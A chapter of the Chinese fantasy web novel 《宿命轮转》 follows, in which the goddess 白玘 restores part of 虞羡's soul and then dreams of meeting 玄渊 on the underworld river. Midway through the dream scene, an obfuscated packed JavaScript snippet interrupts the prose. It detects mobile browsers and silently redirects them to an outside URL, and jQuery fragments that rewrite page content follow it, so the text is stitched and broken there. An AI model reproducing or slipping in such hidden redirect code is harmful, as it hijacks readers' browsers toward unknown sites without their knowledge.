14.梦境
作品:《宿命轮转》 “妖?”白玘尝试着去推测。
假设虞羡是妖,那么她从小钻研的术法,或许原本就有灵力加持。碧虚郡的人们对虞羡多有忌惮,甚至担心会有虞羡化作的怨灵恶意报复……很有可能是这里的百姓早就怀疑虞羡的真实身份。
人们向来惧怕“妖”这种能够控制他们心魂的存在,修道之人更是恨不得除之而后快。
“如果虞羡真的是妖,那么她的死就不一定是被报复,还有一种可能,”白玘看向躺在床上的虞羡,眼神中闪过一丝犹豫,“她是被仙门或者是捉妖师除去的,这样的手段,从另一方看来,反倒是对碧虚郡的正义之举。”
“这……”越璎也无法确定自己该站在什么立场,说,“据我所知,碧虚郡的郡守大人,似乎对女儿的失踪并没有太过激的反应。也许他早就知晓虞羡的身份,却从来没有表明过态度。在这十几年,他将虞羡保护的很好,可若是让他在女儿和全郡的百姓之间做个选择,他还是会选择百姓。”
“没错,虞大人素有贤名,是个勤政爱民的好官。他绝不会因为一个妖,而让全郡的百姓陷入水深火热之中,这有违人间的道义。”白玘忽然想通了在虞府的所见所闻。
白玘作为神官,从现世起就是天生地养的。虽然她没有人间所谓的“家”,也从来没有感知过亲情这种东西,但她在祈神树下见过太多承载亲情的祈愿。她知道这是一种藏于人们血液里的羁绊,除非身死魂销,否则绝无可能磨灭。
她终于明白为什么虞大人在安排虞羡的安魂礼时如此平静,虞羡既作为妖,那么此生和虞家所联系的亲情只会随着时间的推移越来越淡薄。
“听起来有些悲哀,妖的身份注定维持不了与人类的亲情,这是灵力带给虞羡的无法避免的结局。”越璎的言语之中生出一些同情。
“她不会感到孤单,因为还有慕意。他们的姻缘线牵在了这一世,只要他们二人愿意,甚至可以生生世世在一起。”白玘的语气忽地开朗起来。
如果说起初白玘想要帮助慕意是为了查探灵元的下落,再后来则是为了恢复灵力去实现他的祈愿,无一不是有自己的考量,那么如今她想要帮助虞羡,则是希望她有一个好的结局。
这是白玘见虞羡的第一面,虽不曾真真切切地与虞羡相处过,但白玘这几日却从她曾经生活过的痕迹中、慕意对她的态度中以及梅香的记忆中,感觉到虞羡是一个十分良善的且认真生活的女孩。
灵力是天生的,缘分也是天定的。她不该落的一个孤魂野鬼的下场,如果非要给这份羁绊下一个定义,白玘想,那么这可以作为一个神明的偏爱。
这是作为祈神山的山神,所拥有的权力。
“他们回来了。”越璎察觉到屋外的动静,悄声说道。
祁然和慕意是翻窗进来的,为了不惊扰其他的住客,两人的动作极轻。
“拿到了吗?”白玘询问道。
“在这。”慕意小心地从木盒中拿出虞羡的长命灯,将它放了虞羡身旁的柜子上。
长命灯没有蒙尘,但也没有被动过的痕迹。白玘总归放了心,这一缕残魂对于虞羡的复生至关重要。
“好,慕意,过了今夜,不要忘记你最初的祈愿。”白玘的神色有些淡然,但语气却十分郑重。
慕意愣了愣,缓过神来后只是答应着,说:“嗯,我绝不会忘的。”
“祁然,用云水剑替我护阵。”白玘再一次请求道。
“好,我会时刻注意的。”祁然释出云水剑,警觉地试探着周遭的一切。
祈愿之力让白玘的灵力恢复了不少,此时将这缕残魂重新注入虞羡的身体,对白玘来说是小事一桩。但她仍然不敢有一丝的大意,她要的——是万无一失。
白玘召出法器山寻,山寻感知到主人的指令,立即在虞羡的身下设下一个阵法。阵法的金光勾勒出纷繁复杂的线条,与当初慕意在太初观画下的符箓极为相似。
彼时慕意的目的是招魂,而现在白玘想要的,是复魂。
残魂归于原主,也需要灵力的指引,方才不至于迷失,而山寻便是指引这缕残魂回归到虞羡身体里的最佳助力。
白玘轻轻绕动指尖,将虞羡的残魂从长命灯中抽离出来,这缕魂魄经由山寻的法阵指引,悉数进入了虞羡的身体。虞羡的神识短暂地恢复了一瞬,继而又沉寂下去。
整个过程十分顺畅,白玘的长舒了一口气。
“白姑娘,阿羡这样会醒来吗?”慕意明知这种可能极小,仍是心存侥幸地问了一句。
“人有三魂七魄,现如今虞羡只存了一缕。不过不必担心,只要我们找回虞羡被分离出去的魂魄,她就一定会醒过来。”白玘笃定的语气给慕意增添了不少希望。
“这世上果真有怜悯世人的神明……白姑娘,谢谢你。”慕意的眼中酸涩,不知该如何表达心中的谢意,只是见了先前的情景,自觉地跪在白玘的近前。
“神明自在人心,如果要谢的话,就谢谢自己的诚心吧。”这时,白玘也不再劝阻慕意所行的礼。
她既受了这一礼,就会实现他心中不敢奢望的祈愿。
“天快亮了,这几日连轴转了许久,我们各自回房休息吧,我让山寻守着虞羡。”白玘终于难得地笑了笑。
“好,阿玘,我陪你。”越璎也展开笑颜。
“明天我们要好好吃一顿,庆祝一番。”祁然也说起了轻松的话语。
“好,我请客!”慕意也笑着说。
这是白玘来到下界后,睡的第一个安稳觉。虽说神官不常需要睡眠,但是她们仍然需要休息。尤其是灵力消耗太多的时候,更要一段静心的时间来恢复。
在祈神山的时候,白玘受祈神树的滋养,几乎很少会做梦。作为神官,一般出现在她的梦境里的场景,都是被预知的事情。这种梦境,究其实质,其实就是一种公务。
而这次在下界,这个夜里,白玘罕见地做梦了。无关公务,与此前在碧虚湖底陷入的幻境亦有不同。因为这一次,她梦到了那个几次三番遇见的同僚——幽都府君,玄渊。
在这个梦里,无妄渊的画面重现在白玘的神识中。
这条连结幽都府和外界的冥水,随月升起,是一处真正的隔天绝地之所。白玘不止一次站在无妄渊的岸边,看夜空中那轮巨大的圆月倒映在冥水中。
从这里可以清晰地看见月神殿的轮廓,白玘仿佛能看见神殿中的神官在看下界热闹的样子。师尊必然是不在神殿中的,此时她也不知在哪处逍遥,白玘甚至有些想念她。
祈神山和幽都府都是月神殿的下辖,但二者却有很大的不同。祈神山的神官将来都是要去月神殿履职的,而幽都府的神官却可自由选择去处,且幽都府无需向月神殿述职,关系其实是相对疏远的。
这也是幽都府君敢对月神殿不敬的原因之一。
白玘不像是梦到了玄渊,更像是在神识中见到了玄渊。
白玘依旧站在无妄渊的对岸,看向逐渐打开的幽都府的大门。这一次她并没有向幽都府传话,也没有在看见玄渊的那一刻晕倒过去。
她就站在岸边,静静地看着玄渊离她越来越近。
玄渊的神色不似在幽都府的公堂之上看起来那般冷漠无情,随意半束的发贴着他脸部的线条,倒是显得他柔和了几分。
玄渊乘着冥水底升起的小舟,缓缓渡到对岸来。月光照亮了他清澈的眼眸,白玘看向他,心莫名地定了定,感受到一种从未有过的平静。
她似乎不认识眼前的玄渊,又好像很久之前就见过他。
小舟停靠在白玘的近前,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873763|154960||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玄渊见到白玘的第一句话,是问她:“你是谁?”
白玘的心猛地震颤了一下,不是因为被玄渊牵住了心神,而是有些猝不及防地被这句话吓到了。
在这个梦境中,玄渊不认识她。
“我叫白玘,是祈神山的山神。”白玘重新介绍了自己。
“我是玄渊,是幽都府的府君,”玄渊了解后点点头,又问,“你为何会来此?”
“我来过这里很多次,不过每次都是为了公务有求于幽都府,而现在,我在自己的梦境里。”白玘如实说道,她此时虽无法在梦中醒来,但她能够清楚地意识到,这就是梦。
“梦?是你的梦唤我来此。”玄渊分析着此情此景。
眼前的人一点也不像白玘所认识的玄渊,他既不冷酷,也不张扬。他仿佛像水一样,无色无味,空有形状。
“嗯,或许是这样。”白玘也无法过多解释。
玄渊沉默了片刻,他抬头看了看夜空之中的那轮月亮,忽而对白玘发起邀请,笑着说:“你愿意与我共乘这小舟,赏一赏这轮圆月吗?”
“好啊。”白玘似乎无法拒绝。
两个形单影只的人就这样并肩站在了一起,月光散落在他们俩的身上,他们身后的影子紧紧靠在一起,映在冥水之中。
他们一起看向月神殿的方向,许久都没有说话,时间似乎在此刻凝固住了,不再流淌。
“月神之力会让我们不由自主地被月亮所吸引,你会陷入其中,无法自拔吗?”玄渊收回目光,转而看向白玘。
“嗯?月亮本身就是很美好的事物,沉醉于此,倒也没有什么不好。”白玘回过神来轻轻地笑了笑。
“那如果她是人呢?这种致命的吸引力,究竟是真心,还是操控?”玄渊的眉间闪过一丝苦恼。
白玘一时愣住,不知该如何回答。
如果说月神,也就是她的师父,掌握着这种力量的神明,可以借助月神之力随意操控她的神识。那么白玘早就习惯了,她向来感受到的不是真心,而是鞭策。
师父总会在白玘修行懈怠的时候,操控她的神识继而恐吓她。如果不好好修行,只能成为被强者所操控的傀儡,沦为任人践踏的玩物。
白玘就是在这样的鞭策下,成为新一任的祈神山山神。那种沉沦,带给她的,是求生的欲望,是向上生长的力量。
但若这种吸引力来自其他人,白玘却从未设想过。
“神力强大的人天然会对弱者产生某种吸引力,这不一定是操控,但也说不上是真心,”白玘深思后说道,“力量有时是无意识的。”
“是啊,神力是天生的,终究有强有弱,这是很难改变的,就像宿命一样。”玄渊突然释怀道。
白玘想反驳,却没有立即说出口来。
“阿玘,你有被月神之力操控过吗?”玄渊又问道。
“有啊,经常。”白玘无所谓地笑了笑。
“就像现在这样?”玄渊望向白玘,细细地观察着。
白玘心中一惊,神识还未察觉,身体就已经晕了过去。她无法清醒,却能够意识到自己倒在玄渊的怀中。
为什么会这样?梦总是毫无逻辑的,但白玘却妄图在梦境中寻找到蛛丝马迹。
“阿玘,你这七百年从未下过祈神山吗?”玄渊抱着她喃喃道。
“下界哪里值得你这样?”
他的声音很轻,却在无妄渊上荡起了层层涟漪。
白玘猛然惊觉,玄渊是不是在哪里也对自己说过类似的话?神识逐渐不受控制,梦境也越来越模糊。白玘想要问清楚,口中的话将要说出却被堵住。
灵力似乎消耗殆尽了。
白玘却真切地感知到,玄渊在无妄渊之上,轻轻地吻了她,将自己的灵力注入了她的身体。